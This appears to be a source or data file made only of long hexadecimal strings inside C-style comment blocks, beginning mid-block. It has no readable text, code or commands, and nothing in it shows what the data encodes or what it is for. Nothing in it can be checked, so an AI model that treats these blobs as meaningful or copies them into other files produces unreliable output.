662d5b3fbcf46c19bf540d8a166cd31216759bb7dec15ee8fbe06eda21e438c1eacdb11d37ed51b64f69d4b488cba5dcf663197dff2af81fee6953aa843aa7d2b29ad63cc3b30b2396bb15db8b80c48f112e434d545167f6e8db14451df5da53518ce857bf8b46010eeb90bc831b4aa90770b9a0bf17bb3ac788d41a937bf382d3b455611bde2efcd8e08aeb7b150999f680337eca1021f9221d3a0ad546e3d91e9c42b45a92570a34ef2550f2be8a07512a786ec4b552b203c121bf8d2d6dd1233216b196e8d407094c714ef59697171de09e6809912a5b3088b858d060f29492f8d543b726338c3f5611179a0a3e66c845483f3fa1c49bc8eaa84fc6b4b96a921de3716e66733b1e9238644a4237b280f0f199808f829fa5be8f108dcccc7d599f1826c1b49ab6376a771b05fff42eae3605befe62f1abaf879c17878a7218517f4e64391d16b8d26fea9b15e010537d61e3967d83c0a62902357b957039de07a197d086a04fd4f00fab02188356fa76f130cbbdf1295da3f1e9bdd6a83e0c253104ab34226f8ebef9756d1551f2afdc5a8a823a4c988ecc853c4ed8e2ed98c787415555982983e7a8ead4fb9231bc28970dd664e5e919b9e8a87a484e6bbef8611520027a6ce90cd1eaf3c9ca7fc0373478ca0251*/
/*5d3273a086bbd5aee1be44a2e2cd279796bd70d0d277681322878382f018ee6e85a26b4545f0ec9572f9643d50bb6977b9a1e8651e765721c7e33cd3055bd2c3ac9d97ab41a3132c09a48681c919bf8728fbbcebfb1a230bbd43e406e8b0509dacb0dd659342a2d9c12bd1e9b71cebe2c1ca51b3edc3f635a2d5ef3538d60c36811656407e15b1cc9c8402a884f09156290d04d78c343f6e13298752add36a456564eb650771318f7142a47c16a8e8c4632f9e42a55e53f09e3f7c875c23b1dc99a6cc276b9f257af1c540d4982d8ccd51995ff1b2fdd5793cdc3d13770cea8e70bc96053bd0cc97e0c0627d25b978767f3c010c12313d680ef4bc0e3e057d049ccafe6538203539a24f0597981dc21ed4c9ecc536b19a7db84d0179e3daee1f50eb05746803af09abb7c817944d0400d68438434bfa965aca005bd946b5c111b6112fcfb1ea793470deea2eab92a1efeb8e331f2e6305e9ed76af5f93b613a95d3b91313d729e4716a2bfa69667355efc7b2f06156046d3b34a6a6b8fcd54e598ab11cc2043ce70abe02c2a479749c75033eaa6a58e017c9bf00920874cf32ed033d7b86e2aae31b0a72ffed23ed889ca65776475ec0a6487409a7de22f85a9c21dd9eee7e3468eeaae7be9e971f4ae8ccc04f84b221a4cb1146ca6b3ec88cda2419a1d02245aa9ca6939dc4d08a548a94366d3c852bef6eff89c7f069ddaff1d9a24272929f193bd14d5f487f918b94500c554a483a4341827b380aa6735dc4f7301bdeb809eaf26a4c4638c3ac93a1dbb6e7d88103388452445c100d1620bd36559fa13b4e85eb6f41430a99a4bb639837e9a841a22e5813f76ee0456a1184e127a653fc8b9adf007a827d08722f64bd197bbcaee85389c1544417e3cc0cf1f114c287532f0bb063539271bd9c9d2134ce53138577b5149bc772c4c3ef9055425f0cf243ec2102f6d45ea98eab9c2c32e99d41dd053307321bca0740ead179f1150ee0f1bbf3b03488ece6d30e3dcf1c8c0804fdf452afe46b6f8af8a582dd60870d333272fb097ab3c318d376f457a313528cfc350a0252298b510ed4d6c6c121e81a69460ef58ca19d3a5a537a91cb2bebb6fa2e5fbe4fbfb57b8489a9326d45a5d8e332e9af300ce7586b8d77a5872c7354ce9e274291c8862d0c3dfe693f425832fe1d9088996e1f5e01bce6a20e1e48c53b163d3619d76779697f5f797cb2019df634ad1137f1811e25b9ec86bfc97be09d329e17b53bd9420a42440edec060ccce0bea63ec80407a1c7eaa2115e77d6bfd8ec378329a2264ee5f4db558115d0bfa4fad88b770241ac4521457a8769325c02a2c926866e0511a7d2bda5cf989f8464bcf53e8228afc61ff5f5f69af26cf9f81b61544bc3c64e4e39e21f86d419702f969686606735829a942c0bb739590023f0025938dc2e692a1d2032c236a0d0b2fe7f325302e329a26ea83ab0a40a812d6beb71846e7e0dd35a5bef8524b792dbb600667f8500a510f9defc0c660cc00e01532a8b7ea9806654fa88ad23a7a4923dfb18e582ac2f1d0a91d13f1d2d452748d3711a3e2042361b88375732db88844dcd141d6198c0eb513dd074d7ed3a44634c609182a10771b64d68e24a2f3178cb16bd58f0d7bf79c064b0c27c10ea22fbe2ff85674f997b85f31341d28c8d97c4117b8649fefe8a079f55d144fcf1c249f6381261fefed393c00dbb1db248ab51065cf974ce44ede769c44d1ff72c748c1d0ef3ed43e74d1be238b7a0d60c6f180d5dbc135844a1cac0192afc5dc5f57eb0bffbe217d576132b343127f38a20c0898bb39d746f9df29de54d835a60f4915108403eabe6d563591befbec750209b962e2dc34b38fa9b4a24411e3ad28704ac3f7bf5af690c96dfe13fc5df9216697f114ca3eccef5dc813a4571e531d08e3ad66678493d2a69c9e17112221080ed50c512c590fcc35f0561df77b119afc20965464734690f77b55291bce51ec88d580b622b4675f95653eb87b451aef60f05bb5e7bf5f92d7ce62ca0cd215b74b8bac85669d77dee5b5a789d3d51bbfedc8389a1d61d048d29b3e415c1e393bd13abcd1b59a5d7af4a485297116abc078f0d8e57f218b3a71c13bf48a87ec68e44d8b7be10b686b49929bab0a7cdcd382055eb90c39b0039f71c20b32166a7b4658c35eff9f70f265f248e49a5b2e68da1831bbb0bff4a2883ca67bbcd22b71ca7227c3d70b43f2146378430df0843ad3fe079c4589994c6731197d848244c5f52f2cec1933a512f81e830d6c3229257c615d33f463ce95b4b8b420c65e6272db6308c0337f2ec4c7422dd5566c43868458cc53678b90ecdfa5cc7c9e036765e095c55a5e7b6e6ed84d9b8d260b7af27979a5b43553af713a02165600569c0162a9b13d0ed9c97f2a194258bfae109462a1b835636a7c4c7d31910810d60f5e178d391295e331887e2c514f6446e2b23d2539ddcfb621614dc177164f877182fd35c650474996e9f405cb671bb25521278c58a4ae4e956cdd69697528c1ebaba3e848016f36ca5bf7483ea0aaa02a70f838e125b1a08a56c29b642f404362f02392498a2644639819035533f96621dfa050307948cb3d6ac7acd57dd4db77edd64f79cbb1c45f09699df1158fb8e8010dc72e47e35ae9795a3677a9481e4b88a9381fddede17d90343c2804bde62e71ebf7228c8e4baca799ddca298d9445230645f6013ca7c3d3fb0ed1852d500fefd5da74e0aac27e8480c203f5556d03bd0b3d6ff44997628c1ccf41a53d9df1694defcd7800602e27da14957d7303e1ff5d86e17c0006da15ed54d*/
/*5f961dc8aff499988c060c7c5eafb8d7014dc57a07d1c654d9e9df96bcb00fc09faa704536560d144fb4e671cbc9eb051c995749bb03a414133622f314be977ce6aea659ed4f37cb7c67556fa13662ceeb8bcc4bd530a19e1ee744e08e87ce723431d6aa60f01aae5a9b8486fe1f29dd903eaf50ea567d6c6f6ddb466d2ab43185fccce8a766a75e20160199c709619245ff199076cbe67c69f8212da7cc4e7b9f01a9c3d287c503ac44bf080af01165f8a79aa5f0234d1d0c9e4514fab6f95fc9dc61575e03fe103061ca40b8e7e8a61fa4f80e9d23dbfd6be83af49fd820b31ca7f87fc27bd1c618a244e25b75fb2697f688d54fc137bae6ad895dc5dcebb11034644110b47783bbbab41f6a05d0495abf1d5688caaa1dc4d44420f8eb2f341c092009463412ea663ed57df7441bd4d579feb4312a1a28de99417a41cc6647ae06b9ecdc11567a4c7a5ee665e9b655aef303bfa53424f2e61992fe1a602cc1072313fe90794fd11fe4730be201f3e23cedf9f71953c1333c5a0c8f56a779bbecbbeaded3b00d91f803d4802f93ee527b1b089fc149cf25bc0d5547937859e78f925b3a4a814eaddad5252874a913da903e9ff01f5af57a97cacdfb7e02034b151ed728cacf2be224915dfb38c22bd31bd3e0ccf12e250cda74905302c08a382cbfee88885f3e8e3e8e09182e39a3fd56c5209eaf31cf0e7c73e484af9838ae918c36eee239e44d7ca9c8c4a982f11d3a0626fc31b708ab4c249baff3e165c4ae81be73c575f5d587add4ff16f5dbfcb8cd9d0091a8e6cac8e66398989e77610551f5091587d67990a3eea2d2c4e464402379bae4c7519ec35c22aba55c74473adffdeb625e4937154da896ae9d4978824adb132e7323159ee0cb708f582bda597b5167604c1b5e6b81dfa67cb54381f895a3788214b45a58a334bb0b388f709a86bdf235e02fe91f95e75f64ba2d94f3ca0e1c3bed5f21d7fe84f3109635baf4e6e4554607cda66a136d3361902ab711845a26b4d6a7539bd3e55f8cc90710a1abce4b54cf8b04b47a1196cd407936019cfa0ea7bdf7119d6ecac8d1c87ad2c20d36e74da9ef81799f341d565303825078c0c6d0c4fb849199ec6070a98fceadc2904192d6887c7ea272399fd72ef5fafb4f9106afeb25c84219b71549f5d5543ddd614c8c4bab44dd63c275ee70beee39e65edf530ce7b8a3059541ceba521772e3557bad03c6f7849659c344a10b11c2e8d4cfb05ff67395a9d36ab1777a94bfdc0f770ecba25868e208ec3459f4a8fe7271e3e77daa88128ddd00eef3b03b055f5234d072b2b3b432c325841a40e0f007a23a2f9b09bd89992e1225e88b924bf74f28cdf817b5de97717a94a490e43f8077b0e2f456848339efbd5e590af787e342a613879c258ef5adba3005ba09a874d82c1fc899ec37ff027cb2335e76008d75ac8700419038b15cbcead5382227b64058d7076c1c8e7dfc4b27d2f6085c56084980e80cca19ee3c473d2e8f90b29a2393cee916435ec05167255d008309f5869f24dbc3061b9ba46a20b0f14b3160300c09a264aab8628dc5f321a4e7292bfbd55fb4ccddf7dafba115ccae6c5557bc80983282aa197495fa34c5982b2e537931b63aee5db032d4dbc233ae91a96f752ffce664c8430a28e1e1db49221c0e6d1d4ea22f96a47955f2759eb9f11be97cbc68e46d5df6b21f0d696c862c4aa6c58a4e60429e987a006001ee3cb243f6837469742182037282b946f3a022b28c8dea9b658fdbcf6dce11af03eacdc816fb0f121e52124b23e246a80b7ab308249305b54a6e2a746fc52a9cef3952adb3a9f576600ddef786f43041138973e8e83355f5d5983ced0f81b7b2901686cb53333f8a413149f6ba24322ead749c4c290fb06fd7996ac04f65f7417f5f434effa50b18c23d84b5507c75951bcba131cca7fd382738036526c5d86c42f96f1fd1d4ac75827f9ea2803e9d5714fffd750861df1c5ac1653f6eb89a9c6dbf89be6613b56f0ea8c680cd82844a11e68bc957759622e54e81fc19c72962d1ee8b168975802ff35a439aae32f97a87d45a75c935762ed748e9fe4ad33892c9f4a51da03948403f50c54331a87a031c21e00c4b1549b247ada30ca8699dfba9d525a2043403a3df429575ef720271247458c5e25ffdf6ff553c2366d83e4faa54856b3acb218bba6ed00fd8b71c5af96ebb91d2a20307aeb3b9b21af6bb65571d4a5858d56e178ee5ff264c900f810d38e1c1a85ca540e314682c00d6e704de44d7327f32558e90615b49745342a7a7bcd8ed633347e80586ad267200f663c2f246002d4c82d7946642bd7274f610b8d19ec452dd8c6ccf16cf23d55b42566ca9a98ceb9e234532c37f637788fdd2e432cf063c6498764cd127381c0c868e35a4306d0e1f9677003d233e56684bd819c73c52b4f862e3f5b0b567b7a29e7f9f219c17b3cc20ae1c7dfb3586785228911b7ed8c574f6cf0110b140c9f04154a02c0aed3c6f2f50d784376eca2c3297e874e4625859da6438b2b14ec6de9d25580e180af5dc3d5acd103219f70967c730f73d68dfc5ccfd9b3490a6f9eeb4bd26bf7918e796602bed677fb1bf2ba9880a15ffbdbaa474589d9647ec5ebe6db971d53a2b7fed1327fa7b79dc8f1d6ccdd88de1de00bd2f25458a6f843d2402f634e2b3317bd0102572ae05051e1e92aa3cf207372d46ec8e85e5414a2c9e2156ea15d802a6bc409c941080075070a63b9b1bfe8744b5202fc15c595cfaf5dc1165ec93bd8e589a6247af9bc2baa35f9d55825ad05c9dd49e7e61df12a86c60e8127d*/
/*8d9312883752d608127f9f62e3714544f52c8034cc5e994ed2f6d6e828e52db13553ef0294a28304021be7077c2b639387e9dc451e5a5a78591246639e53212b7c8f29d9d19e3d00e91c2d28375999441fe179f0a1157e85452a4b110692dd9436ffce0487541eabc4900e6ef4e3546c4c2246dfbac1e8e1d41b1ca43fb1c1c5bcf78fd2561803050d75645e55951112f7db6a1aafd96692ee4468eb0ef577020da57b3b42e8271a60f87a39670865e67fe7c0e9b576b9533d0eee0a341c4941679ef1011db00239c4d481930d982bc595a124f52f9f7e1c42bbb4ecd0b1c44a6dca5ce8e6f3d428e9fbc8b6fd457f209719b22f49396c309b6ef43bb3959faf24530bd501515ab9b29a4fa2e44caa771fe01a702f3be7fe09b5ffeac800fcedbd1faad552f2db547a6870a72a101523eaf3952b9ef6fafa6d8ce7259fd2d44ea14dd60f61475753f8a9a76d700aaffdb4a3a3a214c12bf51fb874f40159f98ee1d63b6f2665cd53b5d4a60ef28897ee00c6a342e3e82597c0ce263ab89b31f6a64d09adea750f3c978ab9dc2ffd1befb3630336bdf6194e0372c8df4ffdbdd526152be3e1b1a43863fe10229d1bd45c33d518527e415fc4f6e628905384014311385a285a9ffbf8b6f1a9e7801dda207c9322cb124471b4c925b5d1d83445cdb0355661dc0c6f960a7feee4c3fcf6186577f8cc744451a547f630206295edef7b82af9141b25560ca93e17a560bc8fe449b6994a3c188b6d3d2f6d3032cbeb26d875e79fc6122e63b265211c810d661c7d07bff3458272d0f2e619eea83603b2ce1db3bc8c8aa81ec3a6070861bde908fbea3118c7731cb8ea608e5f90d0eb4abadecafd85a33a42480a55b1ef4e896df0e10c16e8682c38182cfcfa4eac48319c034d009a61ba94beba021469c834e285a2273f9f703e0758b2c2240bd27737489d32486ceb3a9974c7d1a6c4848c0d442ad550329346999c99c31fc8c98c1567760593d0551a3d9e97f68a6243e703f39534ad27ef0e8596728f3f771b46f46d2b0771dd141283b95126b4327710b66be0eb0a6a5d9d5e668ec3f50335f9e58bb42c5e3eebf9bf23538f62e85f1be555b3045265dc7f823436b5a7dfcb863047b06ca3229ea72cc3308b7532c3254ef1c61da9dd0e7af3bd089cf9be3d901cc15078ef857cc757c4a058bfe8cf103a1e5560d1813e1c00826195a93b3d84ff12a38f2cc42b3ffaa0798a0f06fe97de6d42523cc715ebc95767afbd01ba7ca5b0161608157bb71346a51dabef0afea42b77796457f8f2c76ed33670bc7d23a182e8c4a7140d203bdb6779407256387ab996c9942de426d7cf75fba4de48bbb83c6e45eab1f638df4f3beac9c27e9acb2a913ad83e2dd8f77d4f3d1b326fc9e75cf282b56322e7ac5db81b8d38e86116a9bbb12337b64f27dfcba7cf6ce14ad073056010b15ee0e6f3a3980021733aad6c58ed508a2f441c5c9ed6bee9bc1b10d80f438778666c92e1dc67d52f243b6de4f97394aeac09510d0b74194d613321ffa7a2fdea72748e80d4c7fb6a83a288714b2df644d77fe8a0bb46d1652ff711c3875049a78ec2a020e0267a2489be4c080cee205ee52d6a68ddcb56a34063c9e8aaa46fe9809fd680172e05f6b15b0bcac60bfa605c08547610108afdfe26f5eec2e28b01c3af185185243e47968434356a819c826e40126fa250e14b286b5c826c4920b4ae37e8b2044fc2ac4e0c76e3c0546ef10707306bf056cb42543a3666b6b786c8ceed41473484d23bd94835cc95a20e909d6573798b6a96d6ab08e63e498ea7c44e46cca7d0e390d9be66269ecfdd499800d8cec704c9d50e8d5d1fe5649bb260e3d88ec9c743dc1d5a2d1bc57a993fd151637531cd92d84fdd655ec1fb57a3015b93b074ab8072ec3072eebae96794073653c36796d1d0f30dd780d7a9e14bc43942b6084acaf9119276103f79800a565a0c8a69fbfdfd9e20ba01793ded2ab822ecb8be4f534885ee32c11c1c18411f255ea3be60ed1a529146cf65bd9ca0385e0d8251b855a3f7f1548c8cb961c600ced19108c2b069cb8a8420005f0853be5afe865a2655f2757d8561ff487b36427d6035f61c38a12cc72f300d8f20827a0dc2eecc2299366b85ce6c4ef5d966dfc861bb173d84de99c00b777d5dc7d7813069620486b99e1d98a8b3f9a0c28e6d197201bb5d80acb70d833f9a094470e410ea4dc624647ab044abcf90ff3c189e2c0c0d0a45cbce93076e3f07fc4f183ea1c4736dae239650e61e6556ba261f56f1290e95e9cb6e58cef56e00c135715e34278fd97520170f2131f06990ff9bc1511d07f6441ea352d104e4024255bb9d72f3d7436e0b96c3eeacc6719c55ffa359b4d5bbe2c8fde4ed10e341265a4b59bb1ff7b56c38ad3b8dc0229cf6227f0e36c0a62c00c459ea9f6bd0ee1d9a9af61c9fcd91cab8da7dbfc2b09709321c7ccd116de1410fe7b09ed6f72b75ad42f1bed610870887437dd6674421312d6d52f9e368c94ebade3d775cd31dd6c7fb39a2eab764542b2cd280107ee99f0e017fd1a6a2e788802b34c6b5db017e5be9903114b9e70993a40bccf5577a0e34696ae2f358ce4405290c89ae33a2576e32545613e1c05e9f5c0e8dc33348f45fb64bdf442badd60f11a53bafc38cb92b1425d52aa1fa8dac9b2c017f424e263f71054fe978add96af759c5ef9056bfafa6746833bcfd048d1ef71f85c1af3900719c3204d101a7ada16860a94ca15114d73bd78a2554377fcf78d07f09a8426da9ce0bdb1fcb3ea586d4df12dec45e14aa61972553d96995263583d0b*/
/*1371402adad4200f6167efbfeed8d0e9c9c6d08fd652eab56de331998db8fbea943682d8e4cc1e4ea84c167914e3438bcf6f6bacb2c535a338f66f223bac1a5fb2c1d720ea69c6ea7359d682f120de46578f3e57646e02d4f5f697f8604a1a4a834d9b6c5e01a120724bcdf4bc3ef38c2e72af91cebf4fad36d990958d6b53e98daa1d8d894cf4bcc51916c40e93eac84e09f1afa45c5a9ab64c2af07c81e6bbf3b8859c0616b36208df27dfd7bd0ced4f5243c9c25b1f4b7b8615fd6768ffd4aa8b578252ebed4f42b20bc1591e5da55c55275db58c8afa0147739e249ad4235c6373ade9103f3a63da9a6532fb4776796244296e6bc0f5fc5f555d9664d41387d0109997b798bafd8cafc046e7628b5f0ed916740ddaa2f0ef3e01508a618ae47d87fb19b135d2b6e3ba315c39b00e60f74f0cd914e25ae4188c8f41c8c598c54f927f756fb43e9cf97e0cccec4f96c07c8220384c7d1b0bf06d0fd34014240b6d5a5d604a4c3e4bced20f839789301f1a534e3d32ac95cc4b64c363ba456a68a969e06dcc460e4dfc970f2acc2d556f991d9c53b5f95f03d7653c7045a74029d85e65fd6c66cf3b3feca766425cd3a1f647509a4e3f2dd40db44e3418787a493f1a80e25e08aa175b7df9c022e08285bb53bdab552a6ed78ce826eacfe8cff1a9a4ae8a7fae63a51e5ab773d6a2ce47d75fcb29f1adc6cd9eb85a8db68ccc75a225215f7a0e3d736cbddbb62d1c2af74a29b6607229f18a4c5e526b0a93b9225fb7eef91d7549f65e0e5b5d9989f519ae31e9e541c6a9353ba2a231b2c12022db0ee2b1b5b85e7314adc0e266e3dcc0ffc0d6c1b80631a7b50723d3c97f6901b407a176ca6d9dfd037d4faf43c0847fbe8ce55c986ffad223e4ce7cabc09e549cc072733d83057bc4b7a43f1aea723961b07b4235086a360bb4b8b9fba478a1d1c7074d51724ac8754e6b9795b974cfc71cd33886d7891a2f4c23ae5509a5ae56a115b2fdd30fab8edd42079c40a42cf1b0361d9bdd69ed71c3b1d55eb907b9c5e0c8c3b35019c96a9d315dae6c5ad85f41bb695df1e8c6b067eefab6d0391995840d3ca2a43fa6918a29f75746da2f1f41d27a318ac20b1dad2c4eb1023eb83d4924160e2ca38e76719ed50969af04a77c8dbe7124807ff1a39e06c4cc4ef8db97b2c673fd79081e83f3b87dd1f85c8f9bb8a8a5ae4805b5f9ff2eb0684196a4ff964e274e54803e9a9c24edf74e1d5722ad9e82d695fb1b481ed61ea64af2ef7d2e4f56347c85ef9685e1562dd9a14f67d0b628cdf2b31691386bac3ddb08cedaefb682808d40f93f45908cf12dcd64a853faa56ad0eec925bb2a548a2b84b219a1dccdd07e5be470b04bad84e3889714095811d8cbc613e220050caf6a7ba415b2d569e7ddefdb15153383d44c421950e1ff5ac0bbc588d54e32129481355a0df0100ef738aa8c34ef27767c14e55bf9485ada8ebce9c79b260c3cf19f69418c1de084f4bf3f157aad57640c8d9c39cb30111d011b98f58da09b08fa0d1a88344f109154e1c3633686a9c091a43fa48c28e411621b1ee367f71999daeddeffab2235bcd08090c4c95928d46a8a066b9e1d973ded2feaa1312b27afb89f9d2252ff6930b713dff8c95fc20057e7fad406600f730d98765a9e2b5882dbe88351a863c40f0e1aed3d7b954b8098343f0c8004161bb226cfc5fdf05e51159b42b716f264d0521ba5708cfa278d104a3b5bd58dd06ee5e1d8454c657645c412e9ee22279cd82880d1ac3c2f1743233895a76b2d28d8f75f967437e50cebcb2c092f30edf64c2522784f569b742341b19f618ccc40367da2ca8cfc38a0ccd33b0e6258b234eb98350963f9e148d615e79dbef57f235f14829de73063dd1c5fb500f0529c04f3d58f4c2331629edfaf68565ee4ca83764d83d4effc64cf0145a55c1fceb4e1b428989b79c1666770f48d08e8cc705c20e3b0a7476c99e00e2965c6a2abfa8d83909d895adb9e56e404066c1e391a8132b9ddf8a1fa21d5b2c2da401eedbc3a937a93bbfeda2bc99b6428699cc6dfde2b8701dea0991ad82d1b835d8269465aa62f07d7778802b912c8d6153cf16894da696ff9bb957815f228cf82f85bdedf1861ed3c3350fed3d0a6f88a2bc5eddcca81dfc50f014128ebed6110052cb0301cebbd52f04b745563347bac7fdba8da39c95346fa17caae08c23b3c745104e0754f5532e4ad6620434774efbca1c36b147a19484ba80c03b51283a1caccb571efd9a4c2c00fd56ec285213fb74ff066a144b87d9fca165de8d0e8fcd926f6cfa7c417d11fbf26cdd0525b0266c17df442d4b9e395675d365905d2a9da5cee70f5e41df5ca18a53a5a8a8b515cf5b7fa587df5289fa12d9af4ad64c238e4a396249fd45a0442a6552ced8a6335a136c3c97f0a820a5978c57e54de43688abb4daca7a9187ce6cafdff9e673fd89dbce027489d6f8eaca9c7e7b61ed3743bf58c742f8ecd4e02bd25cb864623a3a8ee1028fec09d9d974a34ffc567d1d9f4bb34ca17a14bbf9e5c62b3aaa400b4d748cdab4b0957c9397d1a8ec2d0ad437b12aab4e98637e56e3c967e862942174e72e04fdd61462bdb78c9064cec1e83edfd0696d92206a69bed2726e27ad9d339f174c04bc1b0d7a7719b938c98235a915b9415c47e578578346f825836f4a2083ca2d3d8d6cbbd20a1d045da5b44d67d67cb037baa9145578e6698183df31d5ea9d33d011d5ec61c46c0bb1ef341489e674c8c5462dcf3abedea3128621938b953aeef0bdad5094354083f15a9ca7322b70593c79e4307c18a9c5eb319*/
/*746c1216f363e2e67b178c55cb87487af955de6c7499a77704482b380055dc6b4698243dad35ae1b691eff841f4af495415a49f96bcd9004a5bd7cc143302c2c5e713495b18f0291c8955153259e56830c371bba2493cb50800f05c488f5038cc6ae8976997811b4d90c5b9fa5d489954fa6db8e02d832248c3ed5c8bb4c0cf82385a9b8432da083ead775105c5ed626366c3cfc266c22ad88e3394bb70b3a11b7ac719535b08aa9af0c65a4926a0091b1b5f27ce766b62f63be7d232ea28bb9e4c799c94a8381cf55f4c5d070d5a18f94eb6f41fb1243fc048b6f16b6edc88937272a799ee6a655e3c165db49c3a6684fcd4fc74c3c2d6881714a1a7f5fe532e197a4c97d19dcda53487a692a0ac351766970bce2431fb45d674b6f6d078f6d229e44c29dd5054b8271ae42fda7a4ca75c5546960ab1eccb337ec1b0a49eff7b12b0ccd1df344344eb530cab322159b8beb7952638a63a65332a7277d2c9e5b40b3e94dac1fda03f4bbdf04331df920924397378defd77bfcff7fdbb0569d09306b0a8c6ab7407c84e0619978778c8e8a5281cb70883c551e46396f72e08814a4eb15ecb36eef0d019b05920ff8f1f1c1137e6802f61b27554b06653878511d92553394ee8f6c0bfd1f8ba831e9a99888f9c17f78eedc2821a474d9b15abd7045eae0717e7306607dd1a1cb059282386712f5dfb8b91cdbca0a8d0efb63dade446c6373aa39e671b727f22bf66f5812fa5e5a59c9ce9911ed3e62cb345619e0779b3236d697fdce9cd455498b5dd4d90392f9d7036f01d77f89dc04d9267e871fc59a2e4b912f1e63bf099ec322b3aa7b9b5b3174b4e1844f15fd9d6f69d0b975641f2d96bd6da369a5b44b64602d185434703dbade52d2efcf040775742f1c9d0b75c768f4e17edd7da795dba92cbfdba8a753a837e1ba8b7ac72b289bffd971c8814ff7b5005db71cde5dee0b40576df7f6761b823fc20ccd98a0f51d4ae17ee577af63fc8a54eff01fb0d601f229e5334509e2e11de3990edfab8b43161b86f0829298a27267612adfb69f330ab6ea90e2a9310b0cc0a4adce5b815a374e4547aa55455e98077c2bff730e2b61c577c85da226d3c90ca3e47c71dc992f69b5007c1704422dfd84381ab97fa94c84b71a1f0130891fef5b1778f0ef00a96f4dc612bed61d731fb392ff1debd9f8ea13153eb64b01b89cececdc052a15f064c8fea148ff72e1403dd271dbfcd8b654e1945e82e3a30b37463812afc2d8ea0501aeebd5e518e1eda266097d96f0c909ad1bd59bed97d6207c55e1a324538d5af09c2d0160363e7547ffb5e1b1fab323810c140015a1998e53f0e31b194205704fde788cac5ffa2b3c681816be244ecdb4d1998e3c06cdcf1fd71cb8fa00a31df70dc834737892d0db9c3c17f3ac11da682393404c87977a5b04bc561c6cc666b7ba53670d92ca04ce03eefb44108268c93196e6f6eb61663edd127dddf2dbcd57d105b752275f1b0c8f8de1ee2c72c39fd80cbc60a91351f71abde8adbd6393b77daa60264a90c85792e2de61044c4926b167c1ecbf2b1f354ce549feb285482a21094082e2b71913e46c364c5a4c2f361ed201a296906e3619245a668ee4de507d1c9d06fa5a9ab058af4997ce51d618653fa24bd62f9c7f050346faedd66202de1b9045529398851572b43de8b237c4b2c3ce979455fb914f691ac9113a8c0453094a410ce65eeb448099574e15172c536d2822625459cc7c50151bdb420e115957422a4c6198b913249e3e0dfc40d431e12ed1c0e6cefae4ee120251315053839b20d5ca4a05100c451f98a9e790fd7e4d92ac07f4ff085d600df9dfb8a92ab2da41cd4d14aed180ec511763b98b8eae4edd3a46044497b40fe47adae22211e2a46d0802d67a3528f3ccea4325c20cc40df904b56df7029e2efeeb8af601e034f8e89ee1e27c5f78e7e8c96208d89ab140f7a50eac20b1ece209a230407e457bae0ada64f61ac772d81ee8e7bc77c38fee1e114166b0e46235e1c4da7aff62a1457a837493e9778067368d349134fcfe71e8e6b9fa1da3aa011dedeb3cbb5fec1a11c397e960a153cb7e9be316f068b5670d0eb1d351d7082cbd57806f5412d29d979de25d105706aefdb39e34ef022bd756692d10199874d13c470fe84410ec0928a00b06d99cbfe96497b578a6d9a1956f6131a2ec73b512b1aad045ec91c1f7039c63f5ee9c0df96bd015a4c0b429e31d1de6acfdd5ad80ee342ab229d37263b8823859c61337b23673f234dcc33dea09610aca58065de08676e99cacb938a2d6c71b5c9fb8f8a62e0f7cc3a3c185510bacfa39b44a1789420b52180cf35e8df691c7a1ea28db3b756a20a0c0a54b25ccba288b7e069894d4a896f1a369da9f7d521c185538da5906a8660e6487fb49c5539a3a702a361ee21b0c405c83cc64be43d7d7d57affcd3f3585e959eb3ac290a2d3d156af41b604e5b16ec94a8f2de842420d9e5a641ad1ffac418f38d4a63d29db113b1d6eb63b6250a6d8fe416c4414eb8a3b3fcfca761055fb9cd7b7178caafc9fc8db3845a02cc674955fd2e37f6e7e98afbeb250212fe35f37f4df043fd6a0e98c0c863ec4478878912cb3e29602498d07e5c262177a568e271da9d8bddb0be0d9e68d0215211faeddb206482d1ffa2faf66c395cfd461f2cfdb05e3c0f7eee72caf418827aecd48eb50749191efbe8628ab04f9b236e8056f1f5aef42bb85ae206dfa66baf9977b4aacd9290439cde3ba87f3a1a084001b5892fe427f2f50cb2258f26d4b663b4a10fd180ed6abe90572e392d4421413de05*/
/*c0fca0547124d344b6479989f500e8badfd6f4dceddea53935473359969f0fb52251b6017f2b7d1e663573235f3bfff87d43684ef7d2c7259cfd17266ed956d73737e55bed54606724ca1e62d21df5bce390d8a14d48ac58bc50acd3108f785c2c00c78f46d0e6ae294392b5163b9e20e300cd171d80948217150ee56bf2cbdd43a8d512bbd216180be6ce86b893e153b4cdd4c4d9edb01f3fed917a6f8ae78ba6da9c6d66feec38919067c1ba0a5ef8d35f30eda0aa39890f99598e3bf7acc265b53d3fd1f46e2c59b5226f0ddbea84fcd2359633cea5b0b38408ab41cfde82117dbcebaa25002ef77c941a2fd4ee1f0fee4225e9291252eacf6d8e4bf61352fea4a4364382f3f1a4f8d389bc02614ecda2b837cbedeadc54eb5d1e742fa486283ad71f3e415a9e4665240af81578d1b9958c7be4a0e83659fb2eda7860409b379a112e0ba1b8cc5a06b67343f82318f1b448f27ff8b1b3b85723621b418b922d873db51304dfbd59d353cd1270846154a9d750413baf0063187ee4768c97966078df66dc681bbca01547650ae3d53beba3b780f98e7486b55395e65db9cc90361f2aa2dc5c696d92b89d44d023716567e85d17940ea783d45e35db34516af66cf35cb823a545cd1b3841c37cdf5155c2cbfdd61f7cb78504355bbfd36e144c7850c485d253d2e27f14470a9c465d385314eddc58ceecb8349c42fdb437471b95a167cc46e5f41372102f90d507fcb00ec8ed08a22da24d889a861fd975f384781fd379c3d44e560a36357a8c1bd61f977c89b690a0fc65cc552770511f362bd996af6e22ddb702c51a905fe797d1ed1a42cefa545d3aeb4f0c18f8ed6ccbaac6b84935f6e1707fe70b4012bd179041df35a4b22be2604573486f52c4fd686f91043fe7a2c58079f03c3578c783a7532f4089e7ea91d5979f8e4df4710ad711b1249cbddec568e17b8218a203075f20090164a4529545d8d965c1d907b68788a704f49430e3b8068fe6bd2f8e288fb9f9cf7d0925aa75be7807bf9e0ccc759942ef4457cd5c09b569b2d83d193b6f25f30dd6320ef50cc0e9c07743189c1c42bc550f1cc4f5e8fa951fe80f013c16052f82a89f22a3f4d72e00bcaf2fb02db64638a8b1e6f721112ecf3a001e56ca40fd4f4a7f45487461c520e6452a22412707fe0176ecd62af0f7253e7a084ba1dfee1006947d33139eaeee80abb9cd06e017cf8b43d2c2c78dfa23d647b7e532c44ad58ec0ea0300737d0956fa385ef8ce11381d792ca22c0e787a365ae6708b311c3cb2b75123fcd8e3901338cbdf54dcf1dd7b80c31bb75f2d8fd6d4f86794cceef1e452796b53e8ee2bd494bfc869e48a361a76c235f5c63f5363ba8d217fe4e154834fa68a02260cadca48e0b38ccfb3e19d6904ae2ec0dd9278b31fbd30120008abb7f5a5dd